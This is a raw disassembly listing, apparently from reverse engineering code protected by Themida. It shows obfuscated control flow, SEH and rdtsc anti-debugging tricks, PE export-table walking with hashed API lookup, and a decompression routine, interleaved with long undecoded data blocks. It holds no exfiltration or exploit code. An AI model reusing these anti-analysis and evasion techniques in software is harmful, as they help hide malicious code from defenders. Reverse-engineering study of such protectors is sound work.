loc_53F68C: ; CODE XREF: Themida_:0053F680j ; Themida_:0053F685j cmp bl, 61h jb short loc_53F69E cmp bl, 66h ja short loc_53F69E sub bl, 61h add bl, 0Ah jmp short loc_53F6AE ; --------------------------------------------------------------------------- loc_53F69E: ; CODE XREF: Themida_:0053F68Fj ; Themida_:0053F694j cmp bl, 41h jb short loc_53F6AE cmp bl, 46h ja short loc_53F6AE sub bl, 41h add bl, 0Ah loc_53F6AE: ; CODE XREF: Themida_:0053F68Aj ; Themida_:0053F69Cj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_53F6B4: ; CODE XREF: Themida_:0053F668j cmp dword ptr [ebp-0Ch], 2 jb short loc_53F66A cmp dword ptr [ebp-10h], 0 jbe short loc_53F6C4 mov eax, [ebp-10h] stosb loc_53F6C4: ; CODE XREF: Themida_:0053F6BEj inc dword ptr [ebp-8] loc_53F6C7: ; CODE XREF: Themida_:0053F658j cmp dword ptr [ebp-8], 2 jb short loc_53F65A add edx, 4 loc_53F6D0: ; CODE XREF: Themida_:0053F64Fj cmp edx, [ebp-4] jb loc_53F651 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53F6E3: ; CODE XREF: start+5F4B6j mov ecx, 7000h lea edi, [ebp+60B3650h] loc_53F6EE: ; CODE XREF: start+5F6DEj dec byte ptr [edi] inc edi dec ecx jnz short loc_53F6EE mov eax, 48692121h mov edx, 0F00E0000h sub edx, 0F0000000h lea eax, [ebp+60B3743h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax mov ebx, edx js loc_53F72B push eax mov ebx, eax pop ebx loc_53F72B: ; CODE XREF: start+5F70Dj sub eax, edx push 0 push ebp call sub_53F738 and [ebp-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_53F738 proc near ; CODE XREF: start+5F71Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_53F738 endp ; --------------------------------------------------------------------------- dd 20C1EC32h, 25F0F380h, 0FFFFF000h, 0FDA8B66h, 0CA8BD8BFh dd 8166FF33h, 755A4D38h, 50B70F0Eh, 81D0033Ch, 45503Ah dd 2D087400h, 1000h, 64E3EB47h, 58Fh, 0C4830000h, 56958D04h dd 52060B37h, 35FF64h, 64000000h, 2589h, 0C1030000h, 10002Dh dd 4708B00h, 0E681h, 0FE81FFFFh, 80000000h, 708B0376h dd 83C0331Ch, 1F7432F8h, 4D3E8166h, 8109745Ah, 10000EEh dd 0EBEB4000h, 33C7E8Bh, 503F81FEh, 74000045h, 64E8EB44h dd 58Fh, 0C4830000h, 51C36104h, 10244C8Bh, 0B0A981h, 10000000h dd 33590000h, 8B51C3C0h, 5510244Ch, 0E8h, 0ED815D00h, 60B3761h dd 371F858Dh, 8189060Bh, 0B8h, 0C033595Dh, 8F6496C3h, 5 dd 4C48300h, 8C66FD8Ah, 7343BBD9h, 0E18015A7h, 0F3BB304h dd 0C90ADEB7h, 62850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 19DDDAC3h, 2DCBF7D6h dd 0F9640FCh, 389h, 12D38000h, 0B1985C7h, 1060Bh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 6A82C2C3h, 1C4A56F3h, 0EE949h, 24B30000h, 0B1985C7h dd 60Bh, 0A5B30000h, 0B018589h, 6A060Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 4C9FDFC3h dd 0B3B350BEh, 5585895Bh, 0E8060B13h, 0Dh, 0DD93BABBh dd 95DE9B58h, 0FA5E8479h, 38A0FB0h, 0F000000h, 0F85ED9BFh dd 7597C681h, 55B80000h, 2B1BC5BCh, 38D0FFFh, 66000000h dd 148BCA8Bh, 0C981663Eh, 0C281C652h, 7EB72F31h, 0C281FA8Ah dd 421E5E72h, 3860Fh, 8B660000h, 3DEA81CEh, 6650B172h dd 0B13AF181h, 0DF8B6652h, 663E048Fh, 502099B8h, 0FD8AF960h dd 0EF835961h, 0FCEC8004h, 8B14FF81h, 850FFFFFh, 19h, 2CE9D98Bh dd 0DF000000h, 4B518213h, 0FEF64D26h, 0EAD682B6h, 3D1ED6DEh dd 0CE8B6637h, 0FFFF91E9h, 0F520FFh, 76976E21h, 0D1CA97D2h dd 49CECE0Dh, 0E9020A3Ch, 6E8h, 9E9h, 9034EA00h, 8A94379Fh dd 2171799h, 10750000h, 60Bh, 0B8F960F9h, 0 ; --------------------------------------------------------------------------- pusha push edx mov [ebp+60B120Dh], esi pop ebx movsx ecx, bx popa mov edx, [esp+28h] jmp loc_53F9DB ; --------------------------------------------------------------------------- dw 0AEB1h dd 0A8E747BEh, 0BB5C5462h ; --------------------------------------------------------------------------- sahf push ds cmc loc_53F9DB: ; CODE XREF: Themida_:0053F9C9j mov [ebp+60B05E9h], eax pusha push ecx jmp loc_53F9F8 ; --------------------------------------------------------------------------- mov al, ds:83510AE5h sti cld push ss xchg al, ah inc esp mov al, ds:0D430C064h loc_53F9F8: ; CODE XREF: Themida_:0053F9E3j pop edx and ebx, 7379BEDDh popa jmp loc_53FA12 ; --------------------------------------------------------------------------- db 66h, 5Bh, 0B7h dd 437B2651h, 46C2C98Dh db 21h, 0B4h ; --------------------------------------------------------------------------- loc_53FA12: ; CODE XREF: Themida_:0053FA00j mov esi, 3Ch cld add esi, [esp+24h] stc lodsw mov [ebp+60B0ED5h], edx add eax, [esp+24h] pusha mov [ebp+60B2119h], edx mov ecx, edi popa nop jmp loc_53FA46 ; --------------------------------------------------------------------------- db 0DAh, 16h, 44h dd 416CE41Ah, 0A5BF7397h db 0E7h, 0D6h ; --------------------------------------------------------------------------- loc_53FA46: ; CODE XREF: Themida_:0053FA34j push eax pusha push eax push edx push ebx pop ebx rdtsc jg $+6 pop edx pop eax popa nop jge loc_53FA6A jle loc_53FA6A add [ebp+60B0DADh], edx loc_53FA6A: ; CODE XREF: Themida_:0053FA58j ; Themida_:0053FA5Ej mov eax, [eax+78h] pusha mov esi, [ebp+60B1895h] mov ebx, [ebp+60B0F19h] popa add eax, [esp+28h] jmp loc_53FA8C ; --------------------------------------------------------------------------- dd 0C5CC8A79h, 0ADFE0F62h ; --------------------------------------------------------------------------- loc_53FA8C: ; CODE XREF: Themida_:0053FA7Fj mov eax, [eax+18h] mov [ebp+60B2E7Dh], ebx inc eax xor [ebp+60B2049h], edx mov [ebp+60B3902h], eax pusha jmp loc_53FAAF ; --------------------------------------------------------------------------- dd 28EF0207h db 0E8h, 55h, 0BBh ; --------------------------------------------------------------------------- loc_53FAAF: ; CODE XREF: Themida_:0053FAA3j call near ptr loc_53FABE+4 pop ss or ch, bl adc dword ptr [ebp-4697FAF4h], 0FFFFFFE9h loc_53FABE: ; CODE XREF: Themida_:loc_53FAAFp mov ebx, 0E9E06C55h pop es ; --------------------------------------------------------------------------- dd 0DF000000h, 0B98E06BEh, 615855A7h, 68C0F58h, 89000000h dd 0B100D8Dh, 78708B06h, 6BDB589h, 8E0F060Bh, 10h, 0BE9h dd 331F600h, 814D932Ah, 7CAB548Fh, 0F81CC683h, 1AC59501h dd 7403060Bh, 0BD892424h, 60B285Dh, 242DBD8Dh, 850F060Bh dd 6, 15E98D89h, 1AD060Bh, 0B2D91B5h, 24440306h, 0C880F24h dd 0F000000h, 68Dh, 198D8900h, 0AB060B18h, 30F19D29h, 0BD8D060Bh dd 60B0535h, 8850Fh, 850F0000h, 2, 0FAD6160h, 183h, 4403F900h dd 0B5892424h, 60B1905h, 23D8D89h, 0F90060Bh, 1185h, 0CE900h dd 65060000h, 72B1646Fh, 7EFBF5BDh, 0E9503313h, 0Eh, 797154ADh dd 93B2A6D8h, 2654DC95h, 0E9901040h, 0Ah, 0EFE31BA1h, 0BF274AA3h dd 0F9AB0CC9h, 2889BD8Dh, 0F560060Bh, 0FAD61F9h, 0A89h dd 0EBB96000h, 665FCCFAh, 361C88Bh, 29282444h, 0B05B18Dh dd 0BF60AB06h, 51564826h, 6890Fh, 0B5290000h, 60B1601h dd 95895E61h, 60B0295h, 39028DFFh, 0BD83060Bh, 60B3902h dd 0C7107500h, 1C2444h, 8D000000h, 0B3D90B5h, 56E6FF06h dd 244403ADh, 0DF8B9728h, 2845858Ah, 0C084060Bh, 73A0474h dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh, 0C033D18Bh dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h dd 85FF04C6h, 60B05E9h, 0FFFF6FE9h, 95095EFFh, 60B05D5h dd 5E9h, 0CF5A4000h, 9589E5ACh, 60B0CC1h, 5E9858Bh, 8D09060Bh dd 60B19B9h, 0DE9h, 87C4E00h, 168EEDA3h, 9DADE8D0h, 0E0D1CEA9h dd 0C860Fh, 66600000h, 8B4D9BBFh, 0B32D195h, 85036106h dd 60B2889h, 0B58960FCh, 60B0E91h, 16798D8Bh, 2B61060Bh dd 519589F6h, 96060B0Dh, 2DF19589h, 0AD66060Bh, 2E0C1FCh dd 17F98531h, 8503060Bh, 60B242Dh, 0AE996F8h, 7F000000h dd 0E5A1573Eh, 90B81B1h, 8BF9ADDEh, 0F24244Ch, 683h, 79B58900h dd 3060B15h, 0E9242444h, 10h, 0A09F6301h, 0E70A6BA9h, 9E0E0335h dd 0C4D39B7Bh, 1C244489h, 6880Fh, 9D890000h, 60B233Dh dd 89ACF596h, 0B2049BDh, 0F8C93206h, 880FC1FEh, 0Bh, 9958B60h dd 80060B1Bh, 0D061DDCAh, 0C1830FD0h, 0F000000h, 188Bh dd 13E900h, 0A8540000h, 70B744E9h, 745CFFECh, 0F145EF55h dd 74BD6BCAh, 0FD0D0B4h, 9B83h, 8D8B6000h, 60B1661h, 2860Fh dd 0E3B70000h, 0FD0D061h, 8382h, 419D8900h, 0D0060B0Dh dd 75820FD0h, 60000000h, 0DE9h, 0F8769D00h, 1150FE88h dd 548BE7C0h, 860FB287h, 6, 8B0Fh, 60610000h, 69B589FCh dd 61060B31h, 890FC9FEh, 0FFFFFF7Bh, 20C483FCh, 0BE9h dd 196DC700h, 0CD8B0E46h, 752AB5BAh, 0FC2444C7h, 0 ; --------------------------------------------------------------------------- stc pusha mov edi, [ebp+60B15B5h] popa mov eax, 1 add [ebp+60B0C15h], ebx lea ecx, [ebp+60B7305h] mov [ebp+60B3121h], ecx jmp ecx ; --------------------------------------------------------------------------- xor [ebp+60B01E5h], eax mov byte ptr [ebp+60B2845h], 0 jz loc_53FE48 jno loc_53FE48 stc loc_53FE48: ; CODE XREF: Themida_:0053FE3Bj ; Themida_:0053FE41j popa clc retn 8 ; --------------------------------------------------------------------------- or [ebp+60B2131h], edi xchg eax, esi jmp loc_53FE63 ; --------------------------------------------------------------------------- db 0E3h, 51h, 9Ah ; --------------------------------------------------------------------------- push ds cdq retn ; --------------------------------------------------------------------------- db 0D8h db 40h, 52h, 83h ; --------------------------------------------------------------------------- loc_53FE63: ; CODE XREF: Themida_:0053FE54j push eax jo loc_53FE6E pusha mov ah, 95h popa loc_53FE6E: ; CODE XREF: Themida_:0053FE64j xchg eax, esi pusha movzx edx, di popa mov [ebp+60B3F96h], esi js loc_53FE8D jmp loc_53FE8D ; --------------------------------------------------------------------------- db 96h, 0D1h, 0A1h dd 6711C11Fh db 0D5h ; --------------------------------------------------------------------------- loc_53FE8D: ; CODE XREF: Themida_:0053FE7Aj ; Themida_:0053FE80j pusha js loc_53FE96 mov dh, ah loc_53FE96: ; CODE XREF: Themida_:0053FE8Ej popa mov [ebp+60B3FC1h], ecx clc stc lea esi, [ebp+60B3E7Ah] loc_53FEA5: ; CODE XREF: Themida_:0053FF06j jmp loc_53FEBC ; --------------------------------------------------------------------------- dw 0B515h dd 5AF8087Bh, 790A1D57h, 869D78C3h, 1ACC71D1h ; --------------------------------------------------------------------------- loc_53FEBC: ; CODE XREF: Themida_:loc_53FEA5j lea eax, (loc_5B7E32+3)[ebp] jmp loc_53FEDA ; --------------------------------------------------------------------------- db 7Eh dd 4FF69C48h, 95A243DAh, 3B3EFBB5h, 0C41C5753h db 0EAh, 0F4h ; --------------------------------------------------------------------------- loc_53FEDA: ; CODE XREF: Themida_:0053FEC2j call eax pusha mov [ebp+60B0941h], esi call sub_53FEFA inc ebx das std mov [edx-2Eh], edi adc esp, [edi+77h] push ebp adc byte ptr [eax+35EBC4CBh], 2Fh lahf ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_53FEFA proc near ; CODE XREF: Themida_:0053FEE3p jmp sub_53FF08 sub_53FEFA endp ; --------------------------------------------------------------------------- db 0D4h ; --------------------------------------------------------------------------- or [ebx-5], ch les ebx, [ebx] movsb jz short loc_53FEA5 ; =============== S U B R O U T I N E ======================================= sub_53FF08 proc near ; CODE XREF: sub_53FEFAj pop esi popa pop esi jnb locret_53FF17 xor [ebp+60B1E85h], ecx locret_53FF17: ; CODE XREF: sub_53FF08+3j retn sub_53FF08 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 15E98D09h, 0B58B060Bh, 60B3F96h, 0BE860h, 48E40000h dd 0B2B5B2h, 21190EC4h, 5BF5B085h, 8BEB8A60h, 0B3365BDh dd 8B616106h, 0B3FC18Dh, 0E98D0106h, 2B060B26h, 68A0FC0h dd 9000000h, 0B29E59Dh, 5E906h, 75800000h, 8B65829Fh, 0B9E9F9D9h dd 60000000h, 100D958Bh, 3261060Bh, 7E926h, 553C0000h dd 34E372C7h, 0F02B2ABh, 0C83h, 68D0F00h, 29000000h, 0B0591BDh dd 72E906h, 0E9600000h, 13h, 0E0C22B18h, 476F9EDAh, 925069DEh dd 3FEA119Ah, 6118D484h, 65950160h, 66060B33h, 4173F081h dd 0F8C23261h, 751D7A05h, 8953608Ah, 0B2879BDh, 0CA815A06h dd 4ACF33CDh, 60CC8A61h, 0DB58D31h, 0D361060Bh, 98589C8h dd 35060B27h, 98D10842h, 0AFD9D89h, 0CAFE060Bh, 6870F60h dd 8B000000h, 0B063595h, 3D958906h, 61060B2Ah, 850FD20Ah dd 0FFFFFFADh, 840F4BFCh, 1, 0B58946F5h, 60B2F11h, 850FDB0Bh dd 0FFFFFF47h, 0E58D8960h, 61060B13h, 0F9CFh, 14890Fh dd 0E9600000h, 7, 658070DBh, 8BF93479h, 0B0DF99Dh, 0F86106h dd 15950900h, 9060B13h, 0B05319Dh, 60000006h, 59BBB66h dd 22D9503h, 61060Bh, 0E2806000h, 1995039Ch, 61060B20h dd 390D858Dh, 12E9060Bh, 0EA000000h, 0E3ABF9B3h, 7577873Fh dd 0CBC1997Ch, 2D2F7387h, 0A9858958h, 29060B08h, 0B03999Dh dd 0AF858D06h, 0E9060B3Dh, 8, 0A962A740h, 853EBDC5h, 1FA58589h dd 8E8060Bh, 87000000h, 39A79DCBh, 9950B6Dh, 0B33818Dh dd 0BF0F5806h, 75C081C9h, 8B000059h, 0B0DF98Dh, 1DB3306h dd 0B0841BDh, 334FF06h, 0F7E2805Eh, 1A98F681h, 11E8230Ch dd 19000000h, 0D7F5A187h, 6B3D6A6Ch, 10F765DEh, 0E41A509h dd 599CEE80h, 0C9C8EE81h, 0EDB96758h, 81438F60h, 8128B9F6h dd 918D095Dh, 56060B0Bh, 0EE960h, 9FF30000h, 1FE78470h dd 0F8B1CAF7h, 0E7E433BDh, 11619D8Bh, 8F61060Bh, 0BD8B1804h dd 60B0681h, 0DA1B529h, 0EB81060Bh, 4E68C54Ah, 6810Fh dd 8D8B0000h, 60B29FDh, 0C546C381h, 8E0F4E68h, 0 dd 0A740FB81h, 850FFFFFh, 0FFFFFF6Dh, 14EBh, 3 dup(0) dd 8B0000h, 858D0000h, 60B41B2h, 2F598589h, 0BD83060Bh dd 60B40EAh, 34840F00h, 0C6000001h, 0B284585h, 4E85606h dd 39000000h, 50D41F6Dh, 424448Bh, 4489008Bh, 0FF580424h dd 0B0B01B5h, 0D858D06h, 0FF060B39h, 0DE8589D0h, 0C6060B40h dd 0B284585h, 0A1685606h, 81667A86h, 31B12404h, 0B5FF362Eh dd 60B0B01h, 390D858Dh, 0D0FF060Bh, 40E28589h, 46A060Bh dd 4E8h, 100000h, 448B5000h, 8B0424h, 4244489h, 0EE858B58h dd 5060B40h, 1F4h, 9002E0C1h, 6A9050h, 40E295FFh, 8589060Bh dd 60B40E6h, 0FFB8D88Bh, 0FFFFFFFFh, 0B2F5995h, 0FFC38B06h dd 0B2F5995h, 8DE906h, 0BD830000h, 60B40EAh, 1850F00h dd 0C3000000h, 0E6BD8B57h, 0AB060B40h, 40E68583h, 5F04060Bh dd 0EABD83C3h, 60B40h, 1850Fh, 60C30000h, 40E6AD83h, 8B04060Bh dd 0B40E69Dh, 0FC7B8306h, 26850FFFh, 0E8000000h, 4, 8000h dd 24448B50h, 89008B04h, 58042444h, 33FF006Ah, 40DE95FFh dd 0C361060Bh, 1DE9h, 5A936800h, 348178DCh, 0DCDA9324h dd 0FF006A78h, 0DE95FF33h, 83060B40h, 0B40E6ADh, 0A8E90406h dd 48FFFFFFh, 1ADE9h, 748B6000h, 7C8B2424h, 0B2FC2824h dd 46068A80h, 0BB470788h, 2, 850FD202h, 5, 1246168Ah, 0E2830FD2h dd 2FFFFFFh, 5850FD2h, 8A000000h, 0D2124616h, 6A830Fh dd 0C0330000h, 850FD202h, 5, 1246168Ah, 2A830FD2h, 2000001h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h, 5850Fh dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h dd 850FD202h, 5, 1246168Ah, 0FC013D2h, 684h, 0F82B5700h dd 885F078Ah, 2BB4707h, 0E9000000h, 0FFFFFF70h, 1B8h, 0FD20200h dd 585h, 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah dd 0DE820FD2h, 2BFFFFFFh, 1BBC3h, 850F0000h, 34h, 1B9h dd 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h, 5 dd 1246168Ah, 0DE820FD2h, 56FFFFFFh, 0F52BF78Bh, 0E95EA4F3h dd 0FFFFFF08h, 8E0C148h, 8B46068Ah, 1B9E8h, 0D2020000h dd 5850Fh, 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h dd 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h, 3D000000h dd 500h, 0E820Fh, 56410000h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFEB4h dd 0F7FF883h, 387h, 2C18300h, 2BF78B56h, 5EA4F3F0h, 0FFFE9BE9h dd 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h, 0E88B02D1h dd 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h, 7C2BFFFFh, 7C892824h dd 0C2611C24h, 29BA0008h, 0E9000009h, 9D3h, 781830D1h dd 0A6F6656Bh, 4CAAD507h, 0F6DE3ADEh, 0F35F1089h, 0C9C81EEh dd 35AF7A52h, 0ADE67F56h, 7518168Ch, 0AEFA2760h, 1FF8C215h dd 0B3D928CFh, 90305B86h, 18968B9Eh, 67A37B4Fh, 0ABE47F56h dd 75181583h, 0B3E5277Ah, 1F8DD0Fh, 0A4C236D3h, 0F35B5592h dd 1C81C7AAh, 35EE6A4Fh, 0ABF13157h, 6C180397h, 0B3E4687Ch dd 0F6DD01h, 63h dup(0) dd 711830D1h, 0B5EA6961h, 1CF8C20Fh, 0A4CA34C4h, 0F51A188Ah dd 1BD394AFh, 67E17B59h, 0AAFD7E45h, 694A5186h, 0AFEA6960h dd 2B19007h, 0A3C22296h, 0E4495599h, 149693BDh, 17821412h dd 0B7E9744Fh, 69185D87h, 0A0EC6B60h, 18B19004h, 0B9DF3D96h dd 0F8575586h, 8188A3h, 23E17F1Ch, 0B7ED6303h, 684A1096h dd 0B4EC7E2Eh, 1EA89012h, 0B7DF3CD9h, 5B86h, 48h dup(0) dd 7F1830D1h, 0AAE0667Ch, 1FFFC205h, 0B9C22F96h, 0FC525587h dd 1C91C7BDh, 21AF7059h, 0A0E6644Ch, 724D03C2h, 0A6ED6E60h dd 4CB6D940h, 0A4D834CFh, 0EE4306CBh, 579E82BAh, 2BDF1336h dd 0A1FB7046h, 724D51CEh, 0A5E26862h, 4CACD940h, 0BBC229D0h dd 0F05F18CBh, 598A95A1h, 67EB705Dh, 0B0FB7451h, 3C4C0383h dd 0B3F66877h, 3AAC040h, 0BBCC29D1h, 0C5h, 61h dup(0) dd 705137D1h, 0AEE0276Bh, 1CADC212h, 0F7C93EC2h, 0F56E55C5h dd 9D394A7h, 35E8714Eh, 0ACA87C42h, 7E180283h, 0E1ED626Bh dd 5B6D10Dh, 0B7C12EC6h, 0BD5E109Fh, 599789AFh, 25F67F51h dd 0AD851B46h, 3C4B5696h, 0A4E56967h, 8BDC403h, 0F6D43996h dd 0F46C558Ah, 598092BCh, 24AF6C53h, 0AFEB7051h, 3C161587h dd 0B2EA6F5Ah, 0B1D640h, 0B9DA7BD3h, 0BD4E5285h, 128188B9h dd 3EE17F1Ch, 0A1FA7E4Eh, 0CCh, 0E0h dup(0) aWlnumdllsprot db 'WLNumDLLsProt',0 a0 db '0',0 dd 8 dup(0) dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0 dd 0E9000000h, 2E7Ch, 0FC48F380h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 8BC35141h, 98B857CFh, 11830Fh dd 0CE90000h, 0C9000000h, 92FC9744h, 7BBD70EEh, 8B6E0BB0h dd 31B589C0h, 83060B2Eh, 0B05BDBDh, 9750006h, 29D1BD83h dd 7400060Bh, 8B535013h, 1B8C0h, 9D8D0000h, 60DB1BCh, 585BD3FFh dd 29D1BD83h, 7400060Bh, 0B8535011h, 1, 0B06D9D8Dh, 0D3FF060Dh dd 14E9585Bh, 34000000h, 0C3C54FE7h, 0FC431CA4h, 9991199Eh dd 0B383C90Ch, 60EA2B20h, 68E0Fh, 858B0000h, 60B0531h dd 68B0Fh, 9D290000h, 60B1B4Dh, 8BC08B61h, 0B059D9Dh, 79BD8306h dd 60B2Eh, 1FA840Fh, 0DA810000h, 610E81AAh, 81DBD83h, 0F00060Bh dd 1E784h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 4FB10B69h, 145C9FEFh, 14E8h, 6347FA00h dd 89F8AD45h, 4EED632Fh, 0A024983Fh, 37EF1784h, 0D9EB8064h dd 0BD89605Ah, 60B07E1h, 81D858Bh, 6A060Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0F0D8D3C3h dd 8B705BA9h, 0B127D95h, 3E80506h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 9551E4C3h dd 1F69BBA2h, 6E92B75h, 0B3000000h, 5E13C8Eh, 0B5BD29EBh dd 90060B27h, 14E8h, 7656E00h, 7EF6CD0Fh, 0C606C6E0h, 612B0D5Ch dd 80E62188h, 0BB505A3Bh, 48B4A400h, 0DE990h, 0FC580000h dd 656D9BDDh, 3DB2344h, 8D677F54h, 0B4DB685h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 519D8970h, 90060B20h, 50D88B66h, 11E8h, 69006D00h, 34365992h dd 25E0F31Ch, 0AFA8EA70h, 0D08AA539h, 8B66905Bh, 94858DD9h dd 0F060B4Dh, 48Fh, 0B4BA6600h, 8B6650D0h, 240489DEh, 95FFF48Ah dd 60B000Dh, 8E9h, 9AADFF00h, 400BD282h, 0CC483CFh, 28E59D0Bh dd 858D060Bh, 60B4D94h, 775BBA66h, 89D08B50h, 0AE82404h dd 0DB000000h, 74E24B7Dh, 0A5B9AC83h, 0A5BD8931h, 5A060B33h dd 6A026Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 721548C3h, 0D0BF0F19h, 857495FFh, 6A0068h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0F4A03C3h, 0AE9D7B7h, 0A6000000h, 0FFD74EB5h, 5000BE51h dd 950B6163h, 60B0715h, 4DC785C7h, 1060Bh, 9D8B0000h, 60B21DDh dd 0C4BB5696h, 5B34D6C8h, 0C9BA6650h, 295096DFh, 0B335D95h dd 0B5895A06h, 60B4D78h, 0BAD958Bh, 0BD83060Bh, 60B0B19h dd 65850F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 5AB6C353h, 0A26A4B65h dd 0B58950B6h, 60B07C1h, 5F8835Ah, 32850Fh, 860F0000h dd 3, 0B8D68B66h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5411C7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5411C7 proc near ; CODE XREF: Themida_:005411BFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5411C7 endp ; --------------------------------------------------------------------------- db 8Fh dd 0F1A3AC0Dh, 7E5B7F58h, 899BD83h, 0F00060Bh, 2D84h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 85661A5Eh, 8BD5071Bh, 0B02DD95h, 0B806h, 29600000h dd 0B330995h, 0C5858B06h, 6A060B2Eh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 8858C351h dd 819ED65Eh, 0FE90F6EBh, 2C0834Ah, 0BE9h, 0DD3B200h, 723A1628h dd 9DCABB38h, 4D708589h, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 534D85C3h, 0F10D72E1h dd 70D958Bh, 0C6060Bh, 318D89FFh, 0C6060B23h, 0B284585h dd 0BE85306h, 96000000h, 0D4AB2CEEh, 0C0E19131h, 890FDB17h dd 6, 8F0Fh, 0E95A0000h, 13h, 2742BE83h, 7302A3A7h, 656B5238h dd 9444F8F2h, 68A62361h, 9677F6A6h, 481D48Ah, 39523224h dd 0ED9D8966h, 0FF060B28h, 0B1355B5h, 0A3F28006h, 7D18858Dh dd 6A060Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 8B1349C3h, 0B0EE99Dh, 8BD0FF06h, 0B01099Dh dd 0DD858906h, 0E9060B32h, 0Fh, 7EB556D4h, 52B6CE25h, 0BCDA8EE9h dd 8306167Ch, 0B1FDDBDh, 850F0106h, 142h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 15h, 0E9C35141h, 2D958B33h dd 61060B1Ah, 0F498D09h, 85C6060Bh, 60B2845h, 50006A45h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0A0CDE993h, 813EC897h, 512F15CAh, 63556854h, 0DF8B5AFAh dd 6D240481h, 297F65D5h, 0B10758Dh, 13E906h, 0E2300000h dd 0A65E189Bh, 0F1F513E8h, 6D78F1Ah, 96EFB85h, 55B5FFBBh dd 89060B13h, 0B2055BDh, 5E806h, 3F980000h, 0E992A0E2h dd 13h, 4B26A166h, 9A64423Dh, 0A934A9B3h, 0B6D0A4F7h, 5B2F507Ch dd 7D18858Dh, 0BF0F060Eh, 0A9958BD7h, 0FF060B18h, 53006AD0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0C07ED6FEh, 1DCD14CAh, 0FEBB66B8h, 6A006A64h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0AD69C351h, 0E27443D4h, 0DD86677h, 20699529h, 0D0FF060Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 16C35242h dd 7D54C957h, 0F6BA665Eh, 0BD83F57Ah, 60B037Dh, 8A850F01h dd 0FC000000h, 9E8h, 95B00500h, 0F37003Bh, 0EE8977Dh, 0B9000000h dd 0F0771C18h, 0D1930E5Eh, 0BEA73C94h, 0A595891Eh, 5A060B1Ah dd 0C5858B5Ah, 0F060B2Eh, 286h, 0E9B8B300h, 3Ch, 1A459D89h dd 0E990060Bh, 9, 0ADC706F9h, 4078B0F2h, 0D38B5032h, 0E2815290h dd 57059A8Ch, 8B146A5Ah, 0B06319Dh, 0DD95FF06h, 81060B32h dd 3FEF4FD3h, 0BD895876h, 60B32D1h, 0F003880h, 0FFFFC185h dd 0D68B66FFh, 560100C6h, 6A615Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 6D8AD0C3h, 0B589615Eh dd 60B2AD1h, 5B9BD89h, 0BD83060Bh, 60B1A29h, 2C840F00h dd 60000000h, 290D8D89h, 8166060Bh, 611F7EE2h, 0BD89FF6Ah dd 60B2E85h, 95FFFC8Ah, 60B32DDh, 0F098589h, 0E5E9060Bh dd 66FFFFFFh, 0C7944EBBh, 0B1A2985h, 106h, 41858900h, 89060B0Bh dd 0B4D7C85h, 0DD952306h, 50060B0Dh, 0AE9h, 0D9587B00h dd 1D24734Eh, 89CCB2C9h, 60F52404h, 56AD38Bh, 3810Fh, 0DF800000h dd 94858DB4h, 66060B4Dh, 0E890D88Bh, 7, 0B08CE0C4h, 50DD55F2h dd 46D0BA52h, 310F1B75h, 0DE8h, 0A3179800h, 396DE772h dd 887CCE4Bh, 5A5B6E72h, 8A505B58h, 6A90D0h, 3E852h, 5A200000h dd 